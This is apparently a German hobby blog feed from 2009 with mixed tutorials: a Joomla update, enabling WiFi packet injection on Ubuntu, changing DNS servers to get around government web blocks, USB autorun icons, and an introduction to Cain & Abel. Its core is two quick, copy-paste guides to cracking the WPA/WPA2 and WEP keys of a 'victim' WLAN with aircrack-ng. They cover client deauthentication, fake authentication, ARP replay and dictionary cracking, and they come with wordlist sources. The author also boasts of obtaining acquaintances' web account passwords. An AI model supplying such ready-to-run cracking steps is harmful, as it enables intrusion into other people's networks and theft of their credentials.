Ich werde alle neueren Tutorials schon für die Beta bzw. für Ubuntu 10 erstellen, damit die langlebigkeit gegeben ist und nicht immer ein zu großer Versionenunterschied entsteht.

Ihr könnt auch gerne Fragen zu Ubuntu 9.10 bezüglich Wifi etc. im Forum posten , ich werde umgehend helfen!

Euer superkato Team!

Guten Morgen Community, heute habe ich ein kleines aber nützliches Tutorial für euch. Es handelt sich hierbei, um die Thematik bzw. Anleitung das Content Management System Joomla (ab version 1.5.x) sauber manuell zu updaten. Um ein Update durchzuführen, brauch ihr alle relevanten Admin Passwörter, FTP Zugriff sowie eine kleine Tasse Kaffee .

Joomla Update Tutorial:

1. Joomla 1.5.x Package (mit entsprechender Landesversion) downloaden und entzippen.
2. FTP (besser SFTP SSH) Programm öffnen und in das Joomla Verzeichnis navigieren.
3. Im FTP Programm den Ordner bzw. das Quellverzeichnis des Joomla Packages auf dem PC auswählen, z.B. heisst der Ordner mit den darunterliegenden Ordnern und Dateien auf dem PC Bspw. “c:\user\xxxx\desktop\Joomla_1.5.15-Stable-Full_Package_German”.
4. Nun kopiert schiebt ihr  per Drag&Drop den Joomla-Package Ordnerinhalt auf euer Joomla Webspace Verzeichnes und überschreibt dabei alles (ABER VORHER EURE KONFIG. DATEIEN SICHERN!!!). Dabei dem Überschreiben von Dateien immer zustimmen.
5. Während der Übertragung den Kaffe genießen … FERTIG!!

Habt ihr Probleme ? Fragen ? Dann hinterlasst ein Kommentar

WiFi

Hi, in diesem Tutorial, erkläre ich euch wie ihr Packet Injection für eueren Intel Pro Wireless 3945 ABG Wlan Adapter unter Ubuntu Linux aktiviert (Ubuntu 9.04 & 8.10).

Das Packet-Injection Feature ist wichtig bei Sicherheitsanalysen in Wlan Netzen mit unter der Verwendung von “Aircrack-ng“. Diese Anleitung könnt ihr auch für andere Intel Adapter benutzen, ihr müsst lediglich einen anderen Treiber downloaden.

So nun zur Anleitung:

1. Erstmal müsst ihr folgende Pakete installieren:

sudo apt-get install build-essential libssl-dev

.

2. Jetzt die entsprechenden Treiber für eure Karte downloaden (in diesem Fall für den Intel 3945 ABG Adapter):

wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2

.

3. Diesen nun entpacken:

tar -xjf ipwraw-ng*

.

4. Jetzt geht ihr in das extrahierte Verzeichnis:

cd ipwraw-ng

.

5. Nun kompiliert ihr die Source Dateien in einen “Binary” Code:

make

.

6. Es folgt das Installieren des Treibers:

sudo make install

sudo make install_ucode

.

7. Jetzt müsst ihr euren “default” ipwrar Treiber blacklisten mit:

echo “blacklist ipwraw” | sudo tee /etc/modprobe.d/ipwraw

.

8. Nun eine Abhängigkeit für die Module generieren:

sudo depmod -ae

.

9. Alten Treiber deaktivieren:

sudo modprobe -r iwl3945

.

10. Neuen Treiber laden und aktivieren:

sudo modprobe ipwraw

.

11. Wlan Adapter aktivieren:

sudo ifconfig wlan0 up

.

Nun müsste alles funktioniert haben. Eventuell müsst ihr ganz am Anfang euren Wlan Adapter mit “sudo ifconfig wlan0 down” stoppen – aber nur wenn das nicht wie beschrieben funktioniert hat!

Zum testen, ob der Treiber richtig geladen wurde könnt ihr mit “lsmod” testen. Es müsste der “ipwrar” treiber geladen sein.

Ich hoffe das ich euch helfen konnte!

Viel Spaß, euer SuperKato Team!

]]> http://www.superkato.net/2009/04/29/packet-injection-tutorial-fur-intel-prowireless-3945-abg-wlan-ubuntu-904-810/feed/ 2 http://www.superkato.net/2009/04/27/wlan-wardriving-mit-ubuntu-904-intel-wifi-link-5100-agn-packet-injection/ http://www.superkato.net/2009/04/27/wlan-wardriving-mit-ubuntu-904-intel-wifi-link-5100-agn-packet-injection/#comments Sun, 26 Apr 2009 23:03:17 +0000 admin http://www.superkato.net/?p=601 Wunderbare News, gibt es für alle die mit Ihrem System Wlans Wardriven. Seit der neusten Version von meiner lieblings Linux Distribution Ubuntu 9.04 (32 und 64Bit), braucht man sich nicht mehr die Mühe machen und den Kernel patchen, um seinem Intel Wifi-Link Wlan Adapter die Packetinjection Fähigkeit zu schenken, die für das Cracken von WEP und WPA Wlan Keys so wichtig ist. Seit der Version 9.04 von Ubuntu, kann der IWL AGN Treiber der im Kernel steckt, dies schon von Haus aus .

Zum Beweis, hier mein Terminal output nach “airmon-ng start wlan0” und anschließendem “aireplay-ng –test mon0“:

root@ubuntu:~# aireplay-ng –test mon0
00:48:12  Trying broadcast probe requests…
00:48:13  Injection is working!
00:48:14  Found 3 APs

00:48:14  Trying directed probe requests…
00:48:14  00:1A:4F:40:96:69 – channel: 1 – ‘TESTWLAN1′
00:48:20   0/30:   0%

00:48:20  00:1D:19:BA:F3:1A – channel: 1 – ‘TESTWLAN3‘
00:48:23  Ping (min/avg/max): 1.522ms/82.861ms/92.982ms Power: -82.10
00:48:23  30/30: 100%

00:48:23  00:1A:70:B1:47:54 – channel: 2 – ‘TESTWLAN2‘
00:48:25  Ping (min/avg/max): 53.346ms/63.281ms/75.576ms Power: -55.60
00:48:25  30/30: 100%

Ich bin wirklich sehr erleichtert und angenehm überrascht, das endlich auf die vielen “Bitte” der Wardriving Szene hin, das Ubuntu Team reagiert hat und wie bei Realtek und Atheros, in den Intel Treibern die Injection Fähigkeit aktiviert hat.

Wer dennoch bei Ubuntu 8.10 bleiben mag, kann gerne meinen Injection Kernel Patch downloaden und installieren oder seinen eigenen Kernel mit Injection austatten. Die Anleitungen finden sich unter diesen Links:

- Kernel Injection Patch Download

- Kernel Injection Patch Anleitung zum selber erstellen

]]> http://www.superkato.net/2009/04/27/wlan-wardriving-mit-ubuntu-904-intel-wifi-link-5100-agn-packet-injection/feed/ 14 http://www.superkato.net/2009/04/18/website-netz-sperren-umgehen-mit-dns-server-anderung-anleitung-fur-win-mac-linux-handy/ http://www.superkato.net/2009/04/18/website-netz-sperren-umgehen-mit-dns-server-anderung-anleitung-fur-win-mac-linux-handy/#comments Sat, 18 Apr 2009 02:11:14 +0000 admin http://www.superkato.net/?p=468 Eine Anleitung bzw. Tutorial zum ändern seiner DNS-Server Adresse beim einwählen ins Internet für Windows XP, Me, 2000, Vista, 7, Linux Ubuntu, Mac OS X, S60 Handy, Smartphones und Netgear, T-com, D-Link, Zyxel, Cisco, Linksys Router

Mit der Einführung von Internet-Sperren gegen Kinderpornographie organisiere die Bundesregierung ein gemeinschaftliches Wegschauen, was die Dokumentation des Missbrauchs an Kindern angeht. So bin ich jedenfalls der Meinung. Die Herstellung und Verbreitung von Kinderpornographie werde mit den Filtern nicht bekämpft. “Es werden zwischen den Staaten nur die Sperrlisten für die Filter ausgetauscht. Doch niemand bekämpft in seinem eigenen Land die Server, auf denen die Inhalte lagern”.

Frau Ursula von der Leyen (CDU) ist meiner Meinung nach eher aufgrund der anstehneden Bundestagswahlen auf diese brilliante Idee gekommen *ironie*. Eine psychologische “Sperre” die doch im Grunde genommen nichts bringt! Wie bereits gesagt sollte man die Server auf denen diese illegalen Inhalte gehostet werden ein für alle mal abgeschaltet werden!

Wer Kinderpornografische-Seiten besucht kann Strafrechtlich belangt werden! Wer fragwürdige Inhalte im Netz findet sollte diese der BKA Stelle melden, damit diese auch auf den Index gelangen.

In Zukunft werden wohl dann noch Internet Tauschbörsen, Illegale Glücksspiel Seiten, Seiten mit Illegalem Inhalt wie z.B. Warez etc. gesperrt werden.

Zum technologischen Aspekt der Internet Sperre:

Die Sperrung der Website’s funktioniert mittels einer Blacklist die von der KriPo. Deutschland an die Internet-Provider gesendet werden. Diese tragen dann die URL’s in eine DNS Sperrliste auf dem DNS-Server ein. Jeder der sich nun mit seinen normalen Internet Anschlußdaten ins Web einwählt, geht standartmäßig über den DNS-Server seines Providers ins Netz. Soviel zur funktionsweise der Internet-Sperre!

Was ist ein DNS Server?

Der DNS Server ist ein elektronisches Hilfsmittel, der den in Buchstaben ausgedrückten Namen einer Domain in eine maschinenverständliche Sprache umsetzt.

Die Bezeichnung DNS Server steht für Domain Name Server. Dabei muss man sich den DNS Server wie ein riesiges Adressverzeichnis vorstellen. Hier kommen die Anfragen an, die man über die Adressleiste der verschiedenen Internetbrowser eingeben kann. Eine spezielle Software sucht aus der Datenbank das Feld heraus, das mit der eingegebenen Adresse übereinstimmt.

In einer weiteren Zelle der Datenbank ist die IP Adresse des Servers hinterlegt, auf dem die Daten gespeichert sind, die auf der jeweiligen Website angezeigt werden sollen. Über die IP Adresse, die aus Zahlenkombinationen besteht, wird die Suchanfrage an die entsprechende Stelle weiter geleitet.

Kann man seinen DNS-Server bei der Einwahl ändern?

Ja, das ist ohne weiteres sehr einfach möglich! Dazu trägt man einfach in seine Wählverbindung (in Windows Vista, XP, ME, 2000, Linux Ubuntu, Mac OS X, Handy S60, Smartphones mit Windows Mobile  etc.) einen anderen DNS-Server ein. Es gibt mehere kostenlose “OpenSource” DNS Server Dienste. Einer der besten ist meiner Meinung nach der Dienst von “OpenDNS” (www.openDNS.com). Im nächsten Abschnitt werde ich euch erklären, wie man seinen DNS Server ändert.

Anleitung (Tutorial): Änderung des DNS-Servers:

Für Windows Vista:

1. Gehe in die Systemsteuerung (Start->Systemsteuerung).

2. Jetzt auf “Netzwerk und Freigabecenter” klicken und dann auf “Netzwerkverbindungen Verwalten”.

Vista Netzwerkverwaltung 1

3. Ihr klickt jetzt doppelt wie ihr auf dem Bild sehen könnt auf eure Einwählverbindung DFÜ, Breitband (ARCOR, Freenet, T-Com etc.). Es öffnet sich dann folgendes Fenster:

Vista Netzwerkverwaltung 2

4. Ihr klickt dann auf Eigenschaften.

5. Dann auf IP Protokoll Version 4.

6. Es öffnet sich das IP, DNS Konfigurationsfenster. Dort gebt ihr jetzt die DNS Server IP von OpenDNS ein:

Primäre Adresse:

• 208.67.222.222

Alternative Adresse:

• 208.67.220.220

7. Verbindung trennen, neu ins Internet einwählen und fertig!

Für Windows XP, 2000 und Me:

Funktioniert im Prinzip genauso wie in Windows Vista, daher werde ich hier auf den Text verzichten und nur die Bilder Schritt für Schritt einfügen. Bei Fragen, könnt ihr gerne einen Kommentar posten oder ins Forum schreiben (http://forum.superkato.net). Die Bilder sind von www.openDNS.com, denen ich an dieser Stelle nochmal für ihren Hilfe und Anleitungs Service danken will!

Windows XP 1

Windows XP 2

Windows XP 3

Windows XP 4

Windows XP 5

Windows XP 6

Für Windows Mobile 5:

Im Falle von Windows Mobile 5, 6 und 7 einfach der Bildanleitung folgen. Im Prinzip stecken diese einstellungen wie immer unter dem Menüpunkt System-Einstellungen “Verbindungen” bzw. “Connections”.

Windows Mobile DNS Server

MAC: Anleitung für Apple Mac OS X (Leopard & Tiger):

Mac OS X Leopard DNS

Mac OS X Tiger DNS

1. Auf Systemeinstellungen klicken.

2. Dann auf Netzwerk klicken.

3. In der linken Seite auf “Eingebautes Ethernet” klicken und dann auf “Erweitert” bzw. “Advanced” (bei Tiger auf “Konfigurieren”).

5. Jetzt auf das Tab “DNS” klicken und wie bereits oben erklärt, folgende DNS Server Adressen eingeben:

• 208.67.222.222

• 208.67.220.220

6. Auf “Ok” klicken und fertig!

Für die Nintendo Wii:

1. Eure Wii muss dazu mit dem Internet verbunden sein.

2. Auf Wii “Einstellungen” klicken, danach auf “Internet”.

3. Jetzt auf “Verbindungseinstellungen”

4. Wählt euer Internet Verbindungs Profil an (1, 2, 3 Wireless etc.)

5. Klickt auf “Einstellungen ändern”

6. Dann auf “Automatische DNS…” auf “NEIN” und anschließend weiter runter auf “Erweiterte Einstellungen”

7. Gebt die Primäre und Sekundäre DNS Server Adresse des DNS Anbieters ein.

OpenDNS:

• 208.67.222.222
• 208.67.220.220

8. Auf Bestätigen und Speichern klicken. Anschließend noch ein Verbindungstest.

9. Bestätigt auch evtl. Wii System Updates. Fertig!

.

Anleitung für Nokia und S60 Geräte:

1. Tools/Einstellungen -> Verbindung -> Zugangspunkt

2. Eure Verbindung auswählen.

3. Ändern-> Optionen -> Erweiterte Einstellungen

4. DNS Adresse -> Optionen -> Ändern

5. DNS-Adressen (openDNS 208.67.222.222 & 208.67.220.220) eingeben und bestätigen mit “OK”

.

Linux: Anleitung für SUSE Linux 10.1:

3. Fertig!

.

Linux: Bei SUSE Linux 10.0 und 9.x:

1. In /etc/sysconfig/network/dhcp, ändert die Zeile:

DHCLIENT_BIN

zu:

DHCLIENT_BIN=”dhclient”.

2. Ändert nun “/etc/dhclient.conf” wie bereits oben beschrieben.

3. Dann den Befehl eingeben:

“sudo /sbin/rcnetwork restart-all-dhcp-clients”.

4. Fertig!

.

Ubuntu: DNS Eintrag ändern bei Ubuntu Linux 8.x:

1. Oben rechts mit der rechten Maustaste auf euer Netzwerksymbol klicken und “Verbindung ändern” anklicken.

2. Wählt eure Verbindung aus z.B. Kabelnetzwerk -> eth1.

3. Klickt auf Ändern bzw. Edit. Es öffnet sich ein Konfigurationsfenster.

4. Klickt auf das Tab ganz rechts “IPv4 Einstellungen”

5. Ändert die Methode auf “Nur automatische (DHCP) Adresse”

Ubuntu DNS Server Adresse

6. Tragt jetzt im unteren Bereich die openDNS Server IP’s ein:

208.67.222.222, 208.67.220.220

7. Ok klicken und Neustarten. Fertig!

.

Router Anleitungen:

DNS-Server IP Änderung direkt im Router eintragen und konfigurieren:

Falls ihr über einen Router bzw. Gateway ins Internet geht (z.B. Dlink, T-Com Speedport, Netgear, Apple AirPort, Linksys, Fritz!Box usw.), müsst ihr natürlich die DNS-Server Einstellungen in eurem Router vornehmen, da ihr euch dann ja nicht direkt über euren PC oder MAC ins Internet einwählt sondern der Router das für euch übernimmt.

Hierzu loggt ihr euch jeweils in euer Router Konfigurationsseite ein und ändert im “allgemeinen” bei den Einwähleinstellungen eure DNS-Server Adresse.

Eine wirklich gute Anleitung zu allen Router und Gateway Einstellungen zum ändern der DNS-Server IP Adresse findet ihr direkt bei openDNS unter diesem Link: https://www.opendns.com/start/router/ Dort wählt ihr einfach euren Router aus und folgt der Schritt für Schritt Anleitung. Einen Account bei openDNS müsst ihr natürlich nicht erstellen!

.

Gibt es weitere DNS Anbieter wie openDNS, welche Vorteile haben diese Dienste?

Es gibt noch ein paar wenige DNS Anbieter, diese haben aber nicht die gleichen Leistungsmerkmale wie openDNS.com. Zumal bietet openDNS z.B. den Service, dass automatisch “Phishing Seiten” gesperrt werden, was natürlich zur Sicherheit beim surfen beiträgt.

Hier eine Liste von frei verwendbaren DNS Server IP’s:

• 204.152.184.76 (f.6to4-servers.net, ISC, USA)
• 2001:4f8:0:2::14 (f.6to4-servers.net, IPv6, ISC)
• 194.150.168.168 (dns.as250.net; anycast DNS!)
• 213.73.91.35 (dnscache.berlin.ccc.de)
• 208.67.222.222 (openDNS.com; Primär)
• 208.67.220.220 (openDNS.com; Sekundär)
• 80.237.196.2
• 194.95.202.198

weitere Adressen finder ihr hier auf meiner Seite http://www.superkato.net/2009/04/18/ip-liste-von-frei-verwendbaren-dns-server-adressen/.

.

Hier noch ein VideoTutorial für Windows XP:

www.youtube.com/watch?v=1NNG5I6DBm0

Über ein Feedback, Kommentare und eure Meinung zur Internetsperre bzw. Netzsperre der Bundesregierung würde ich mich sehr freuen!

SuperKato.net unterstützt:

WiFi

Diesmal aus der Quick&Dirty Tutorial Serie: Schnell und einfach WPA1/WPA2 “hacken”. Ein Tutorial  zum ausdrucken und überall mitnehmen. Dieser Hackguide ist kurz, umfassend und sehr effizient! Ich empfehle allerdings für Anfänger mein ausführlicheres Aircrack-ng WPA und WPA2 Crack Tutorial. Diese Version ist wirklich für portable Zwecke gedacht und ggf. zum direkten einfügen der Befehle in das Terminal von Ubuntu Linux. Diese Anleitung funktioniert allerdings nur mit einem angemeldeten Clienten im Wlan. (>>Hier gehts zur WEP Version)

Mein System:

Ubuntu 8.10 x86 32Bit mit Intel WiFi Link 5100 (Centrino2) Wlan Adapter
Aircrack-ng 32Bit Version
Wlan Adapter Name “wlan0″ bzw. “mon0″
BSSID des Opfer Wlans : 7E:40:80:00:14:6C
ESSID des Wlands: “testwlan” WPA2-PSK verschlüsselt
Wlan MAC des Clienten: AA:0F:B5:B2:BC:82
Meine “Wlan0″ Adapter Mac Adresse: 00:0F:AC:82:AC:82

Alle Befehle bitte als root ausführen! Sprich vor jedem Befehl ein “sudo” dransetzen oder gleich von Anfang an “sudo -s” eingeben und alle weiteren “sudo” Befehle vernachlässigen. Alle Befehle sind in einer Zeile geschrieben bitte lasst euch nicht vom Zeilenumbruch hier auf dieser Website irritieren!

0. Opfer Wlan suchen mit “airodump-ng”

sudo airodump-ng wlan0

1. Karte in Monitor Mode mit “airmon-ng” (z.B. Channel 6 für Opfer Wlan)

sudo airmon-ng start wlan0 6

Jetzt nur noch mon0 als Adapter Alias Namen für die Befehle verwenden!

1.1 Karte in Monitor Mode mit iwconfig und ifconfig (mit z.B. Channel 6 für Opfer Wlan)

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo iwconfig wlan0 channel 6
sudo ifconfig wlan0 up

Jetzt einfach wlan0 weiter als Adapter Alias Namen verwenden bei den Befehlen!

2. Datenpakete bzw. Handshakes Sammeln mit “airodump-ng”

sudo airodump-ng -c 6 -w output –bssid 7E:40:80:00:14:6C wlan0

3. Es werden 8 DeAuth Pakete versenden mit “aireplay-ng”

sudo aireplay-ng -0 8 -a 7E:40:80:00:14:6C -c AA:0F:B5:B2:BC:82 wlan0

Sobald der Handshake aufgezeichnet wurde, benutzen wir direkt “aircrack-ng” um das Passwort herauszufinden.

4. Key aus dem Handshake cracken mit “aircrack-ng”

sudo aircrack-ng -a 2 -b 7E:40:80:00:14:6C -e testwlan -w <wordlist> *.cap

Fertig!

mit “-w <wordlist>” gebt ihr den Pfad zu eurer Wordlist/Rainbowtable an. Falls das Passwort zu komplex ist, sprich eine belibige Kombination von Buchstaben und Zahlen, könnt ihr es gleich vergessen. Wobei es inzwischen die “Möglichkeit” gibt mittels CUDA und Pyrit eine Bruteforce Attacke in sehr hoher Geschwindigkeit durchlaufen zu lassen. Zufallsgeneration von Kombinationen sind z.B. mit John TR Outputs möglich. Inzwischen ist es sogar möglich, ganz Wikipedia als Wordlist zu nutzen.

Wordlisten Links findet ihr hier:

• ftp://ftp.openwall.com/pub/wordlists/
• http://www.openwall.com/mirrors/
• ftp://ftp.ox.ac.uk/pub/wordlists/
• http://gdataonline.com/downloads/GDict/
• http://www.theargon.com/achilles/wordlists/
• http://theargon.com/achilles/wordlists/theargonlists/
• ftp://ftp.cerias.purdue.edu/pub/dict/
• http://www.outpost9.com/files/WordLists.html
• http://www.securinfos.info/wordlists_dictionnaires.php
• http://www.vulnerabilityassessment.co.uk/passwords.htm
• http://packetstormsecurity.org/Crackers/wordlists/
• http://www.ai.uga.edu/ftplib/natural-language/moby/
• http://www.insidepro.com/eng/download.shtml
• http://www.word-list.com/
• http://www.cotse.com/tools/wordlists1.htm
• http://www.cotse.com/tools/wordlists2.htm
• http://www.phreak.org/index/archive01/hacking/wordlsts/wordlsts.shtml
• http://wordlist.sourceforge.net/

Oder bastelt euch eure eigene Wordlist mit:

• https://code.goto10.org/svn/unpacked/sh/etemenanki/etemenanki.sh
• http://awlg.org/index.gen
• http://forum.aircrack-ng.org/index.php?topic=4580.0
• http://forum.aircrack-ng.org/index.php?topic=4877.msg27435#msg27435

Jedenfalls wünsche ich viel Spaß und beachtet die geltenden Gesetze – Euer SuperKato Team!

Zur Diskussion im Forum: Hier Klicken!

Download: Die Anleitung zum Ausdrucken als PDF Version (DIN A4 Format):

]]> http://www.superkato.net/2009/04/11/tutorial-schnell-und-einfach-wpa-wlan-cracken-aircrack-ng-ubuntu/feed/ 2 http://www.superkato.net/2009/04/08/tutorial-schnell-und-einfach-wep-wlan-cracken/ http://www.superkato.net/2009/04/08/tutorial-schnell-und-einfach-wep-wlan-cracken/#comments Wed, 08 Apr 2009 21:07:30 +0000 admin http://www.superkato.net/?p=429

WiFi

Ich habe mal ein schnelles und einfaches WEP CRACK Tutorial (QUICK&DIRTY) zum ausdrucken und überall mitnehmen erstellt. Diese Anleitung ist kurz, umfassend und sehr effizient! Ich empfehle allerdings für Anfänger mein ausführlicheres Aircrack-ng WEP Crack Tutorial. Diese Version ist wirklich für portable Zwecke gedacht und ggf. zum direkten einfügen der Befehle in das Terminal von Ubuntu Linux. (>>Hier gehts zur WPA1 & WPA2 Version).

Mein System:

Ubuntu 8.10 x86 32Bit mit Intel WiFi Link 5100 (Centrino2) Wlan Adapter
Aircrack-ng 32Bit Version
Wlan Adapter Name “wlan0″ bzw. “mon0″
BSSID des Opfer Wlans : 7E:40:80:00:14:6C
ESSID des Wlands: “testwlan”
Meine “Wlan0″ Adapter Mac Adresse: 00:0F:AC:82:AC:82

Alle Befehle bitte als root ausführen! Sprich vor jedem Befehl ein “sudo” dransetzen oder gleich von Anfang an “sudo -s” eingeben und alle weiteren “sudo” Befehle vernachlässigen. Alle Befehle sind in einer Zeile geschrieben bitte lasst euch nicht vom Zeilenumbruch hier auf dieser Website irritieren!

0. Opfer Wlan suchen mit “airodump-ng”

sudo airodump-ng wlan0

1. Karte in Monitor Mode mit “airmon-ng” (z.B. Channel 6 für Opfer Wlan)

sudo airmon-ng start wlan0 6

Jetzt nur noch mon0 als Adapter Alias Namen für die Befehle verwenden!

1.1 Karte in Monitor Mode mit iwconfig und ifconfig (mit z.B. Channel 6 für Opfer Wlan)

sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo iwconfig wlan0 channel 6
sudo ifconfig wlan0 up

Jetzt einfach wlan0 weiter als Adapter Alias Namen verwenden bei den Befehlen!

2. IVs Sammeln mit “airodump-ng”

sudo airodump-ng -c 6 –bssid 7E:40:80:00:14:6C -w output wlan0

3. Fake Authentication mit “aireplay-ng” Methode 1

sudo aireplay-ng -1 0 -e testwlan -a 7E:40:80:00:14:6C -h 00:0F:AC:82:AC:82 wlan0

3.1 Fake Authentication mit “aireplay-ng” Methode 2

sudo aireplay-ng -1 6000 -o 1 -q 10 -e testwlan -a 7E:40:80:00:14:6C -h 00:0F:AC:82:AC:82 wlan0

4. ARP Request Replay Mode mit “aireplay-ng” (Pakete Sammeln)

neues Terminalfenster öffnen und eingeben:

sudo aireplay-ng -3 -b 7E:40:80:00:14:6C -h 00:0F:AC:82:AC:82 wlan0

5. WEP Key mit “aircrack-ng” aus den Paketen cracken Methode 1 (PTW)

sudo aircrack-ng -z -b 7E:40:80:00:14:6C output*.cap

5.1 WEP Key mit “aircrack-ng” aus den Paketen cracken Methode 2

sudo aircrack-ng -b 7E:40:80:00:14:6C output*.cap

5.2 WEP Key mit “aircrack-ng” aus den Paketen cracken Methode 3 (FMS/KoreK)

sudo aircrack-ng -z -k -b 7E:40:80:00:14:6C output*.cap

Anschließend wird Aircrack euch den WEP Key als Hex/Dec Wert auspucken oder als alphanummerischen KEY. Ihr benötigt ca. 20.000 Pakete um ein WEP Key herauszucracken manchmal auch mehr oder weniger. Es gibt auch einen Haufen anderer WEP Key Crack Methoden, diese gibt es in der Aircrack-ng Help gegenübergestellt zum nachlesen. Jedoch sind die ersten beiden Methoden (1&2) die gängigsten.

Viel Spaß und beachtet die geltenden Gesetze – Euer SuperKato Team!

Zur Diskussion im Forum: Hier Klicken!

Download: Die Anleitung zum Ausdrucken als PDF Version (DIN A4 Format):

Note: There is a file embedded within this post, please visit this post to download the file.

USB Icon

Heute ein kleines aber feines Tutorial über die Erstellung eines USB-Stick Icons für den Arbeitsplatz und Explorer unter Windows.

Gerne sieht man statt den langweiligen Laufwerkssymbolen ein eigenes Icon Symbol für seine lieblings Sticks. Ich zeige euch wie man das in 5 Minuten anstellt.

Im prinzip, erstellt man eine “Autorun.inf” Startup Datei mit der Anweisung “icon” die auf das USB-Stick Laufwerksverzeichnis samt Symbol zeigt. Diese kopiert man dann auf den USB-Stick.

Schritt 1 – Erstellen einer “Autorun.ini” Datei:

Um die Dateierweiterungen und versteckten Dateien sichtbar zumachen, klicken wir erstmal in einem belibigen Ordner auf Extras -> Ordneroptionen in der Leiste oben (Bei Vista die ALT-Taste drücken, um diese sichtbar zu machen!). Dann gehen wir auf das Register Ansicht und stellen folgende Dinge genau so wie auf diesen Screenshots markiert ein:

Dateierweiterungen sichtbar machen

Versteckte Dateien sichtbar machen

Nach dem wir das getan haben, gehen wir auf in das Verzeichnis des USB-Sticks z.B. G:\

Dort klicken wir jetzt auf die rechte Maustaste dann auf Neu -> Textdokument. Wir haben jetzt ein neues Textdokument erstellt (*.TXT – Datei). Wir öffnen diese und geben dann exakt folgendes ein:

[autorun]
icon = .\toshibook.ico

Jetzt speichern wir die TXT Datei ab, schließen diese und ändern den Datei namen von Textdatei.txt auf Autorun.inf.

Schritt 2 – Einfügen des USB-Stick Icon Symbols:

Wir kopieren jetzt einfach eine *.ico Datei, die man überall mittels Google finden kann in das gleiche Verzeichnis, wie die Autorun.inf Datei. Danach markieren wir die beiden Dateien klicken auf die rechte Maustaste -> Eigenschaften und klicken auf “Versteckt”. Dies machen wir, damit wir die beiden Datein nicht immer im Weg haben oder ausversehen löschen. Danach deaktivieren wir auch wieder die Option “Versteckte Dateien Anzeigen” in den Ordneroptionen.

Ich habe meine beiden Dateien hochgeladen, diese könnt ihr am Ende der Seite downloaden.

USB-Stick ICON Symbol

Schritt 3 – Aktivieren des USB-Stick Icons:

Wir schließen alle Ordner und ziehen den USB Stick raus. Entweder müsst Ihr jetzt den PC neustarten oder einfach den USB-Stick in ein anderen Steckplatz stecken um das ICON Anzeigen zu lassen. Wenn alles geklappt hat, müsstet Ihr jetzt euer eigenes Icon im Explorer bzw. Arbeitsplatz sehen:

USB-Stick ICON Symbol

Hier übrigens meine Icon Files samt Autorun.inf zum Downloaden. Falls euch das Tutorial gefallen hat oder wenn ihr sonstiges Feedback los werden wollt, könnt ihr gerne ein Kommentar abgeben oder ins forum schreiben >>SuperKato Forum.

U3 Uninstall (löschen)

Seit ein paar Jahren, gibt es USB-Sticks mit U3 Feature, heute zeigen wir euch wie man dieses auf Dauer nervende und scheinbar nicht ohne Boardmittel zu löschende USB Feature für die ewigkeit deinstalliert/verbannt/löscht!!!

Das U3 Feature der USB-Sticks ermöglicht mobile Applikationen auf den USB Stick zu installieren wie z.B. Firefox, 7zip, VLC etc. und schien für den Anfang sehr nützlich, wenn man seine lieblings Applikationen auch auf öffentlichen PC’s nutzen kann. Dazu erstellt der USB-Stick mittels U3 ein virtuelles CD-Rom oder Disketten Laufwerk auf denen sich die Zusatzprogramme befinden.

Die traurige Warheit ist allerdings, das der USB-Stick dadurch an Peformance und Speicherkapazität verliert und meistens ist dieses Feature durch einen Administrator unterbunden, so das dieses nur an privaten Rechnern genutzt werden kann. Einige nervt es einfach auch, dass sich jedesmal irgendein Mist lädt sobald man den USB Stick einfach in den Slot steckt um schnell was kopieren zu wollen.

Die U3 Foundation hat ein Tool veröffentlicht, das die U3 Funktionalität des USB-Sticks löscht und ihn zu einen normalen Wechseldatenträger, also zu einem normalen USB Speicherstick macht. Die Option ein Backup vom USB Stick zu erstellen, bietet dieses kleine Tool übrigens auch!

Ich entschied mich nach dem Kauf meines 16GB Lexar JumpDrive Firefly USB Sticks (USB Stick Review folgt bald!) auch erstmal die U3 Funktionalität zu deinstallieren bzw. zu löschen, da das U3 Uninstall Tool nur sehr schwer zu finden war und die meisten Links meistens zu einer “ERROR 404 Not found” Site führten, habe ich eine eMail an U3 verfasst und das Tool auch per eMail erhalten. Dieses Tool stelle ich nun hier zur Verfügung.

Lizenztyp: Freeware
Download: Note: There is a file embedded within this post, please visit this post to download the file.

Cain & Abel

oder Software die man zum austesten der Netzwerksicherheit benötigt, könnte der Titel meiner neuen Serie auf diesem Blog lauten! Hallo erstmal! Ich habe mir überlegt, ab und an wenn ich Zeit hab einige Tools auf www.superkato.net vorzustellen mit denen man die Netzwerksicherheit euerer Systeme austesten kann. Ich werde auch zu jedem Tool ein entsprechendes kurzes Quick&Dirty  Tutorial posten.

Auf die Idee bin ich durch eingie Bekannte gekommen, die sich ständig wundern, wie ich an Ihre Benutzerpasswörter für StudiVZ, Amazon.de, eBay etc. komme. Ich erklärte ihm, das dass Internet und Intranet verdammt unsichere Kommunikationsplattformen sind, wenn diese falsch konfiguriert sind.

Vorab gesagt: Ich will hier keine Tips zu illegalen Tatbeständen geben, es geht hierbei ausschließlich um das austesten euerer eigenen Netzwerksicherheit. Bitte denkt an die geltenden Gesetze in eurem Land und informiert euch vorher, was illegal ist und was nicht.

Teil1: Es war einmal Cain und Abel

Vorgeschichte: Cain & Abel sind zwei mythologische Charakteren aus irgendeiner Bibelstory…blabla what ever … hier gehts jetzt aber um das Sniffing Tool Cain&Abel von oxid.it (v4.9.29 für Windows XP, 2K, NT und Vista).

Cain & Abel ist laut dem Entwicklerteam unter Massimiliano Montoro ein Passwort-Recovery-Tool für Microsoft Windows, ist aber eher ein Multifunktionswerkzeug.

Es erlaubt das einfache Auslesen aller Passwörter, die im Browser gespeichert wurden, außerdem das Cracking verschlüsselter Passwörter (Hashes) mit Hilfe von Wörterbüchern, Brute-Force und Rainbow-Tables sowie das Aufzeichnen von Passwörtern und VoIP-Unterhaltungen im Netz via ARP-Spoofing. Dadurch ist es ebenfalls in der Lage, Man-in-the-middle-Angriffe gegen eine Reihe von SSL-basierten Diensten und RDP durchzuführen.

Diverse Informationen von Windows-Systemen auszulesen und das Analysieren von Routing-Prozessen ist ebenfalls möglich.

Abel, das mitgelieferte Clientprogramm, kann ferngesteuert über das Windows-Netzwerk installiert werden und liest die TCP/UDP-Tabellen, die LSA-Secrets und die Hashes der Benutzerkonten aus. Es verschafft dem Cain-Nutzer außerdem Remote-Konsolenzugriff. Abel verbirgt sich dabei nicht vor Benutzern des Systems.

